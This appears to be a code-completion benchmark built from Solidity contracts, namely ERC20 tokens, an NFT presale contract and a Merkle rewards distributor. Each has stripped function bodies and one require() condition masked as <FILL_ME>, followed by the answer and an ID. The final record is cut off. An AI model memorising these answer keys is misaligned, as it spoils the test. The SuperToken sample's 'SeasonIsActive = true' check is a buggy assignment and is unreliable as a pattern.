address private _root;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
function name() public view virtual override returns (string memory) {
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
library Address {
function sendValue(address payable recipient, uint256 amount) internal {
}
}
contract Ownable {
address _owner;
address _root;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function transferOwnership(address newOwner) public onlyOwner {
}
}
interface IFactory {
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Micecoin is ERC20, Ownable {
using Address for address payable;
IRouter public router;
address public pair;
bool private _liquidityLock = false;
bool public providingLiquidity = false;
bool public tradingEnabled = false;
bool public limits = true;
uint256 public tokenLiquidityThreshold;
uint256 public maxBuyLimit;
uint256 public maxSellLimit;
uint256 public maxWalletLimit;
uint256 public launchBlock;
uint256 public tradingStartBlock;
uint256 private deadline = 2;
uint256 private launchFee = 99;
uint256 private _totalSupply;
uint8 private _decimals;
string private _name;
string private _symbol;
bool private autoHandleFee = true;
address private _marketingWallet = 0x2fcAF03193f0FC1747371305a591c1a57F1A4D64;
address public constant deadWallet =
0x000000000000000000000000000000000000dEaD;
struct Fees {
uint256 marketing;
uint256 liquidity;
}
Fees public buyFees = Fees(4, 2);
Fees public sellFees = Fees(4, 2);
uint256 private totalBuyFeesRatio = 6;
uint256 private totalSellFeesRatio = 6;
uint256 private totalBuyFeeAmount = 0;
uint256 private totalSellFeeAmount = 0;
mapping(address => bool) public exemptFee;
mapping(address => bool) public exemptMaxBuyLimit;
mapping(address => bool) public exemptMaxWalletLimit;
mapping(address => bool) public exemptMaxSellLimit;
mapping(address => bool) public allowedTransfer;
modifier lockLiquidity() {
}
constructor()
{
}
function LaunchToken(address router_) external onlyOwner {
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue)
public
override
returns (bool)
{
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
override
returns (bool)
{
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function handleFees(uint256 _totalBuyFeeAmount) private lockLiquidity {
}
function manuelHandleFees(uint256 _totalBuyFeeAmount) external onlyOwner {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function updateLiquidityProvide(bool flag) external onlyOwner {
}
function updateLiquidityThreshold(uint256 new_amount) external onlyOwner {
}
function updateBuyFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function updateSellFees(
uint256 _marketing,
uint256 _liquidity
) external onlyOwner {
}
function enableTrading() external onlyOwner {
}
function _safeTransferForeign(
IERC20 _token,
address recipient,
uint256 amount
) private {
}
function clearStuckEth(uint256 amount, address receiveAddress)
external
onlyOwner
{
}
function clearStuckToken(
IERC20 _token,
address receiveAddress,
uint256 amount
) external onlyOwner {
}
// fallbacks
receive() external payable {}
function updateMarketingWallet(address newWallet) external onlyOwner {
}
function marketingWallet() public view returns(address){
}
function updateExemptFee(address _address, bool flag) external onlyOwner {
}
function updateExemptMaxSellLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxBuyLimit(address _address, bool flag)
external
onlyOwner
{
}
function updateExemptMaxWalletLimit(address _address, bool flag)
external
onlyOwner
{
require(<FILL_ME>)
exemptMaxWalletLimit[_address] = flag;
}
function bulkExemptFee(address[] memory accounts, bool flag)
external
onlyOwner
{
}
function handleFeeStatus(bool _flag) external onlyOwner {
}
function changeRouter(address newRouter)
external
onlyOwner
returns (address _pair)
{
}
function removeLimits(bool flag) external onlyOwner {
}
}
|
exemptMaxWalletLimit[_address]!=flag,"You must provide a different max wallet limit other than the current max wallet limit in order to update it"
| 143,404 |
exemptMaxWalletLimit[_address]!=flag
|
"Error enough tokens"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract SuperToken is IERC20, IERC20Metadata,Context,Ownable{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address public Owner;
bool private SeasonIsActive;
event Tx(address indexed _from, address indexed _to, uint _amount);
event BuyTokens(address indexed _from, uint _amount);
event Sold(address indexed _from, uint _amount);
constructor(
string memory name_,
string memory symbol_,
address safeAccount,
uint256 initialSupply) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
}
receive() external payable{
uint tokensToBuy = msg.value;
require(tokensToBuy > 0,"Error enough funds");
require(SeasonIsActive = true,"Error season");
require(<FILL_ME>)
transfer(msg.sender, tokensToBuy);
emit BuyTokens(msg.sender, tokensToBuy);
}
function sell(uint _amount) external{
}
fallback() external payable{
}
function withdraw(address payable _to) external{
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
}
function StartSeason() public{
}
function EndSeason() public{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
balanceOf(address(this))>=tokensToBuy,"Error enough tokens"
| 143,471 |
balanceOf(address(this))>=tokensToBuy
|
"Whitelist ID has already been used."
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import '@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol';
import './ERC721A.sol';
contract PyramidsCollective is Ownable, ERC721A, ReentrancyGuard, EIP712 {
uint16 public immutable MAX_TEAM_SUPPLY = 150;
uint16 public teamCounter = 0;
string private constant SIGNING_DOMAIN = "PYRAMIDSCOLLECTIVE";
string private constant SIGNATURE_VERSION = "1";
address private immutable CEO_ADDRESS = 0xc4d13342A2A57AFaA21197C2DceF4e0D2E505329;
string public baseTokenURI;
uint8 public saleStage; // 0: PAUSED | 1: PRESALE | 2: PUBLIC SALE | 3: SOLDOUT
mapping (uint => bool) public whitelistIdUsed;
constructor() ERC721A('Pyramids Collective', 'PC', 20, 5000) EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) {
}
// UPDATE SALESTAGE
function setSaleStage(uint8 _saleStage) external onlyOwner {
}
// PRESALE MINT
function presale(uint _quantity, uint256 _id, bytes memory _signature) external payable nonReentrant {
require(saleStage == 1, "Presale is not active.");
require(<FILL_ME>)
require(check(_id, _signature) == owner(), "Wallet is not in presale whitelist.");
require(_quantity <= 2, "Max presale mint at once exceeded.");
require(balanceOf(msg.sender) + _quantity <= 2, "Would reach max NFT per holder in presale.");
require(msg.value >= 0.06 ether * _quantity, "Not enough ETH.");
require(totalSupply() + _quantity + (MAX_TEAM_SUPPLY-teamCounter) <= collectionSize, "Mint would exceed max supply.");
_safeMint(msg.sender, _quantity);
if (totalSupply() + (MAX_TEAM_SUPPLY-teamCounter) == collectionSize) {
saleStage = 3;
}
whitelistIdUsed[_id] = true;
}
function check(uint256 _id, bytes memory _signature) public view returns (address) {
}
function _verify(uint256 _id, bytes memory _signature) internal view returns (address) {
}
function _hash(uint256 _id) internal view returns (bytes32) {
}
// PUBLIC MINT
function publicMint(uint _quantity) external payable nonReentrant {
}
// TEAM MINT
function teamMint(address _to, uint16 _quantity) external onlyOwner {
}
// METADATA URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string calldata _baseTokenURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
}
|
!whitelistIdUsed[_id],"Whitelist ID has already been used."
| 143,500 |
!whitelistIdUsed[_id]
|
"Wallet is not in presale whitelist."
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import '@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol';
import './ERC721A.sol';
contract PyramidsCollective is Ownable, ERC721A, ReentrancyGuard, EIP712 {
uint16 public immutable MAX_TEAM_SUPPLY = 150;
uint16 public teamCounter = 0;
string private constant SIGNING_DOMAIN = "PYRAMIDSCOLLECTIVE";
string private constant SIGNATURE_VERSION = "1";
address private immutable CEO_ADDRESS = 0xc4d13342A2A57AFaA21197C2DceF4e0D2E505329;
string public baseTokenURI;
uint8 public saleStage; // 0: PAUSED | 1: PRESALE | 2: PUBLIC SALE | 3: SOLDOUT
mapping (uint => bool) public whitelistIdUsed;
constructor() ERC721A('Pyramids Collective', 'PC', 20, 5000) EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) {
}
// UPDATE SALESTAGE
function setSaleStage(uint8 _saleStage) external onlyOwner {
}
// PRESALE MINT
function presale(uint _quantity, uint256 _id, bytes memory _signature) external payable nonReentrant {
require(saleStage == 1, "Presale is not active.");
require(!whitelistIdUsed[_id], "Whitelist ID has already been used.");
require(<FILL_ME>)
require(_quantity <= 2, "Max presale mint at once exceeded.");
require(balanceOf(msg.sender) + _quantity <= 2, "Would reach max NFT per holder in presale.");
require(msg.value >= 0.06 ether * _quantity, "Not enough ETH.");
require(totalSupply() + _quantity + (MAX_TEAM_SUPPLY-teamCounter) <= collectionSize, "Mint would exceed max supply.");
_safeMint(msg.sender, _quantity);
if (totalSupply() + (MAX_TEAM_SUPPLY-teamCounter) == collectionSize) {
saleStage = 3;
}
whitelistIdUsed[_id] = true;
}
function check(uint256 _id, bytes memory _signature) public view returns (address) {
}
function _verify(uint256 _id, bytes memory _signature) internal view returns (address) {
}
function _hash(uint256 _id) internal view returns (bytes32) {
}
// PUBLIC MINT
function publicMint(uint _quantity) external payable nonReentrant {
}
// TEAM MINT
function teamMint(address _to, uint16 _quantity) external onlyOwner {
}
// METADATA URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string calldata _baseTokenURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
}
|
check(_id,_signature)==owner(),"Wallet is not in presale whitelist."
| 143,500 |
check(_id,_signature)==owner()
|
"Would reach max NFT per holder in presale."
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import '@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol';
import './ERC721A.sol';
contract PyramidsCollective is Ownable, ERC721A, ReentrancyGuard, EIP712 {
uint16 public immutable MAX_TEAM_SUPPLY = 150;
uint16 public teamCounter = 0;
string private constant SIGNING_DOMAIN = "PYRAMIDSCOLLECTIVE";
string private constant SIGNATURE_VERSION = "1";
address private immutable CEO_ADDRESS = 0xc4d13342A2A57AFaA21197C2DceF4e0D2E505329;
string public baseTokenURI;
uint8 public saleStage; // 0: PAUSED | 1: PRESALE | 2: PUBLIC SALE | 3: SOLDOUT
mapping (uint => bool) public whitelistIdUsed;
constructor() ERC721A('Pyramids Collective', 'PC', 20, 5000) EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) {
}
// UPDATE SALESTAGE
function setSaleStage(uint8 _saleStage) external onlyOwner {
}
// PRESALE MINT
function presale(uint _quantity, uint256 _id, bytes memory _signature) external payable nonReentrant {
require(saleStage == 1, "Presale is not active.");
require(!whitelistIdUsed[_id], "Whitelist ID has already been used.");
require(check(_id, _signature) == owner(), "Wallet is not in presale whitelist.");
require(_quantity <= 2, "Max presale mint at once exceeded.");
require(<FILL_ME>)
require(msg.value >= 0.06 ether * _quantity, "Not enough ETH.");
require(totalSupply() + _quantity + (MAX_TEAM_SUPPLY-teamCounter) <= collectionSize, "Mint would exceed max supply.");
_safeMint(msg.sender, _quantity);
if (totalSupply() + (MAX_TEAM_SUPPLY-teamCounter) == collectionSize) {
saleStage = 3;
}
whitelistIdUsed[_id] = true;
}
function check(uint256 _id, bytes memory _signature) public view returns (address) {
}
function _verify(uint256 _id, bytes memory _signature) internal view returns (address) {
}
function _hash(uint256 _id) internal view returns (bytes32) {
}
// PUBLIC MINT
function publicMint(uint _quantity) external payable nonReentrant {
}
// TEAM MINT
function teamMint(address _to, uint16 _quantity) external onlyOwner {
}
// METADATA URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string calldata _baseTokenURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
}
|
balanceOf(msg.sender)+_quantity<=2,"Would reach max NFT per holder in presale."
| 143,500 |
balanceOf(msg.sender)+_quantity<=2
|
"Mint would exceed max supply."
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import '@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol';
import './ERC721A.sol';
contract PyramidsCollective is Ownable, ERC721A, ReentrancyGuard, EIP712 {
uint16 public immutable MAX_TEAM_SUPPLY = 150;
uint16 public teamCounter = 0;
string private constant SIGNING_DOMAIN = "PYRAMIDSCOLLECTIVE";
string private constant SIGNATURE_VERSION = "1";
address private immutable CEO_ADDRESS = 0xc4d13342A2A57AFaA21197C2DceF4e0D2E505329;
string public baseTokenURI;
uint8 public saleStage; // 0: PAUSED | 1: PRESALE | 2: PUBLIC SALE | 3: SOLDOUT
mapping (uint => bool) public whitelistIdUsed;
constructor() ERC721A('Pyramids Collective', 'PC', 20, 5000) EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) {
}
// UPDATE SALESTAGE
function setSaleStage(uint8 _saleStage) external onlyOwner {
}
// PRESALE MINT
function presale(uint _quantity, uint256 _id, bytes memory _signature) external payable nonReentrant {
require(saleStage == 1, "Presale is not active.");
require(!whitelistIdUsed[_id], "Whitelist ID has already been used.");
require(check(_id, _signature) == owner(), "Wallet is not in presale whitelist.");
require(_quantity <= 2, "Max presale mint at once exceeded.");
require(balanceOf(msg.sender) + _quantity <= 2, "Would reach max NFT per holder in presale.");
require(msg.value >= 0.06 ether * _quantity, "Not enough ETH.");
require(<FILL_ME>)
_safeMint(msg.sender, _quantity);
if (totalSupply() + (MAX_TEAM_SUPPLY-teamCounter) == collectionSize) {
saleStage = 3;
}
whitelistIdUsed[_id] = true;
}
function check(uint256 _id, bytes memory _signature) public view returns (address) {
}
function _verify(uint256 _id, bytes memory _signature) internal view returns (address) {
}
function _hash(uint256 _id) internal view returns (bytes32) {
}
// PUBLIC MINT
function publicMint(uint _quantity) external payable nonReentrant {
}
// TEAM MINT
function teamMint(address _to, uint16 _quantity) external onlyOwner {
}
// METADATA URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string calldata _baseTokenURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
}
|
totalSupply()+_quantity+(MAX_TEAM_SUPPLY-teamCounter)<=collectionSize,"Mint would exceed max supply."
| 143,500 |
totalSupply()+_quantity+(MAX_TEAM_SUPPLY-teamCounter)<=collectionSize
|
"Would reach max NFT per holder."
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import '@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol';
import './ERC721A.sol';
contract PyramidsCollective is Ownable, ERC721A, ReentrancyGuard, EIP712 {
uint16 public immutable MAX_TEAM_SUPPLY = 150;
uint16 public teamCounter = 0;
string private constant SIGNING_DOMAIN = "PYRAMIDSCOLLECTIVE";
string private constant SIGNATURE_VERSION = "1";
address private immutable CEO_ADDRESS = 0xc4d13342A2A57AFaA21197C2DceF4e0D2E505329;
string public baseTokenURI;
uint8 public saleStage; // 0: PAUSED | 1: PRESALE | 2: PUBLIC SALE | 3: SOLDOUT
mapping (uint => bool) public whitelistIdUsed;
constructor() ERC721A('Pyramids Collective', 'PC', 20, 5000) EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) {
}
// UPDATE SALESTAGE
function setSaleStage(uint8 _saleStage) external onlyOwner {
}
// PRESALE MINT
function presale(uint _quantity, uint256 _id, bytes memory _signature) external payable nonReentrant {
}
function check(uint256 _id, bytes memory _signature) public view returns (address) {
}
function _verify(uint256 _id, bytes memory _signature) internal view returns (address) {
}
function _hash(uint256 _id) internal view returns (bytes32) {
}
// PUBLIC MINT
function publicMint(uint _quantity) external payable nonReentrant {
require(saleStage == 2, "Public sale is not active.");
require(_quantity <= 10, "Max mint at once exceeded.");
require(<FILL_ME>)
require(msg.value >= 0.08 ether * _quantity, "Not enough ETH.");
require(totalSupply() + _quantity + (MAX_TEAM_SUPPLY-teamCounter) <= collectionSize, "Mint would exceed max supply.");
_safeMint(msg.sender, _quantity);
if (totalSupply() + (MAX_TEAM_SUPPLY-teamCounter) == collectionSize) {
saleStage = 3;
}
}
// TEAM MINT
function teamMint(address _to, uint16 _quantity) external onlyOwner {
}
// METADATA URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string calldata _baseTokenURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
}
|
balanceOf(msg.sender)+_quantity<=10,"Would reach max NFT per holder."
| 143,500 |
balanceOf(msg.sender)+_quantity<=10
|
"Would exceed max team supply."
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/cryptography/ECDSA.sol';
import '@openzeppelin/contracts/utils/cryptography/draft-EIP712.sol';
import './ERC721A.sol';
contract PyramidsCollective is Ownable, ERC721A, ReentrancyGuard, EIP712 {
uint16 public immutable MAX_TEAM_SUPPLY = 150;
uint16 public teamCounter = 0;
string private constant SIGNING_DOMAIN = "PYRAMIDSCOLLECTIVE";
string private constant SIGNATURE_VERSION = "1";
address private immutable CEO_ADDRESS = 0xc4d13342A2A57AFaA21197C2DceF4e0D2E505329;
string public baseTokenURI;
uint8 public saleStage; // 0: PAUSED | 1: PRESALE | 2: PUBLIC SALE | 3: SOLDOUT
mapping (uint => bool) public whitelistIdUsed;
constructor() ERC721A('Pyramids Collective', 'PC', 20, 5000) EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) {
}
// UPDATE SALESTAGE
function setSaleStage(uint8 _saleStage) external onlyOwner {
}
// PRESALE MINT
function presale(uint _quantity, uint256 _id, bytes memory _signature) external payable nonReentrant {
}
function check(uint256 _id, bytes memory _signature) public view returns (address) {
}
function _verify(uint256 _id, bytes memory _signature) internal view returns (address) {
}
function _hash(uint256 _id) internal view returns (bytes32) {
}
// PUBLIC MINT
function publicMint(uint _quantity) external payable nonReentrant {
}
// TEAM MINT
function teamMint(address _to, uint16 _quantity) external onlyOwner {
require(<FILL_ME>)
_safeMint(_to, _quantity);
teamCounter += _quantity;
}
// METADATA URI
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseTokenUri(string calldata _baseTokenURI) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view override(ERC721A) returns (string memory) {
}
// WITHDRAW
function withdraw() external onlyOwner {
}
}
|
teamCounter+_quantity<=MAX_TEAM_SUPPLY,"Would exceed max team supply."
| 143,500 |
teamCounter+_quantity<=MAX_TEAM_SUPPLY
|
"Rewards: Tree nonexistent"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title MultiRewardsDistributor
* @notice It distributes LOOKS tokens with parallel rolling Merkle airdrops.
* @dev It uses safe guard addresses (e.g., address(0), address(1)) to add a protection layer against operational errors when the operator sets up the merkle roots for each of the existing trees.
*/
contract MultiRewardsDistributor is Pausable, ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
struct TreeParameter {
address safeGuard; // address of the safe guard (e.g., address(0))
bytes32 merkleRoot; // current merkle root
uint256 maxAmountPerUserInCurrentTree; // max amount per user in the current tree
}
// Time buffer for the admin to withdraw LOOKS tokens if the contract becomes paused
uint256 public constant BUFFER_ADMIN_WITHDRAW = 3 days;
// Standard safe guard amount (set at 1 LOOKS)
uint256 public constant SAFE_GUARD_AMOUNT = 1e18;
// LooksRare token
IERC20 public immutable looksRareToken;
// Keeps track of number of trees existing in parallel
uint8 public numberTrees;
// Current reward round
uint256 public currentRewardRound;
// Last paused timestamp
uint256 public lastPausedTimestamp;
// Keeps track of current parameters of a tree
mapping(uint8 => TreeParameter) public treeParameters;
// Total amount claimed by user (in LOOKS)
mapping(address => mapping(uint8 => uint256)) public amountClaimedByUserPerTreeId;
// Check whether safe guard address was used
mapping(address => bool) public safeGuardUsed;
// Checks whether a merkle root was used
mapping(bytes32 => bool) public merkleRootUsed;
event Claim(address user, uint256 rewardRound, uint256 totalAmount, uint8[] treeIds, uint256[] amounts);
event NewTree(uint8 treeId);
event UpdateTradingRewards(uint256 indexed rewardRound);
event TokenWithdrawnOwner(uint256 amount);
/**
* @notice Constructor
* @param _looksRareToken address of the LooksRare token
*/
constructor(address _looksRareToken) {
}
/**
* @notice Claim pending rewards
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function claim(
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external whenNotPaused nonReentrant {
require(
treeIds.length > 0 && treeIds.length == amounts.length && merkleProofs.length == treeIds.length,
"Rewards: Wrong lengths"
);
uint256 amountToTransfer;
uint256[] memory adjustedAmounts = new uint256[](amounts.length);
for (uint256 i = 0; i < treeIds.length; i++) {
require(<FILL_ME>)
(bool claimStatus, uint256 adjustedAmount) = _canClaim(msg.sender, treeIds[i], amounts[i], merkleProofs[i]);
require(claimStatus, "Rewards: Invalid proof");
require(adjustedAmount > 0, "Rewards: Already claimed");
require(
amounts[i] <= treeParameters[treeIds[i]].maxAmountPerUserInCurrentTree,
"Rewards: Amount higher than max"
);
amountToTransfer += adjustedAmount;
amountClaimedByUserPerTreeId[msg.sender][treeIds[i]] += adjustedAmount;
adjustedAmounts[i] = adjustedAmount;
}
// Transfer total amount
looksRareToken.safeTransfer(msg.sender, amountToTransfer);
emit Claim(msg.sender, currentRewardRound, amountToTransfer, treeIds, adjustedAmounts);
}
/**
* @notice Update trading rewards with a new merkle root
* @dev It automatically increments the currentRewardRound
* @param treeIds array of treeIds
* @param merkleRoots array of merkle roots (for each treeId)
* @param maxAmountsPerUser array of maximum amounts per user (for each treeId)
* @param merkleProofsSafeGuards array of merkle proof for the safe guard addresses
*/
function updateTradingRewards(
uint8[] calldata treeIds,
bytes32[] calldata merkleRoots,
uint256[] calldata maxAmountsPerUser,
bytes32[][] calldata merkleProofsSafeGuards
) external onlyOwner {
}
/**
* @notice Add a new tree
* @param safeGuard address of a safe guard user (e.g., address(0), address(1))
* @dev Only for owner.
*/
function addNewTree(address safeGuard) external onlyOwner {
}
/**
* @notice Pause distribution
* @dev Only for owner.
*/
function pauseDistribution() external onlyOwner whenNotPaused {
}
/**
* @notice Unpause distribution
* @dev Only for owner.
*/
function unpauseDistribution() external onlyOwner whenPaused {
}
/**
* @notice Transfer LOOKS tokens back to owner
* @dev It is for emergency purposes. Only for owner.
* @param amount amount to withdraw
*/
function withdrawTokenRewards(uint256 amount) external onlyOwner whenPaused {
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeIds array of treeIds
* @param amounts array of amounts to claim
* @param merkleProofs array of arrays containing the merkle proof
*/
function canClaim(
address user,
uint8[] calldata treeIds,
uint256[] calldata amounts,
bytes32[][] calldata merkleProofs
) external view returns (bool[] memory, uint256[] memory) {
}
/**
* @notice Check whether it is possible to claim and how much based on previous distribution
* @param user address of the user
* @param treeId id of the merkle tree
* @param amount amount to claim
* @param merkleProof array with the merkle proof
*/
function _canClaim(
address user,
uint8 treeId,
uint256 amount,
bytes32[] calldata merkleProof
) internal view returns (bool, uint256) {
}
}
|
treeIds[i]<numberTrees,"Rewards: Tree nonexistent"
| 143,644 |
treeIds[i]<numberTrees
|
"Rewards: Amount higher than max"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Pausable} from "@openzeppelin/contracts/security/Pausable.sol";
import {ReentrancyGuard} from "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {MerkleProof} from "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import {IERC20, SafeERC20} from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
/**
* @title MultiRewardsDistributor
* @notice It distributes LOOKS tokens with parallel rolling Merkle airdrops.
* @dev It uses safe guard addresses (e.g., address(0), address(1)) to add a protection layer against operational errors when the operator sets up the merkle roots for each of the existing trees.
*/
contract MultiRewardsDistributor is Pausable, ReentrancyGuard, Ownable {
using SafeERC20 for IERC20;
struct TreeParameter {
address safeGuard; // address of the safe guard (e.g., address(0))
bytes32 merkleRoot; // current merkle root
uint256 maxAmountPerUserInCurrentTree; // max amount per user in the current tree
}
// Time buffer for the admin to withdraw LOOKS tokens if the contract becomes paused
uint256 public constant BUFFER_ADMIN_WITHDRAW = 3 days;
// Standard safe guard amount (set at 1 LOOKS)
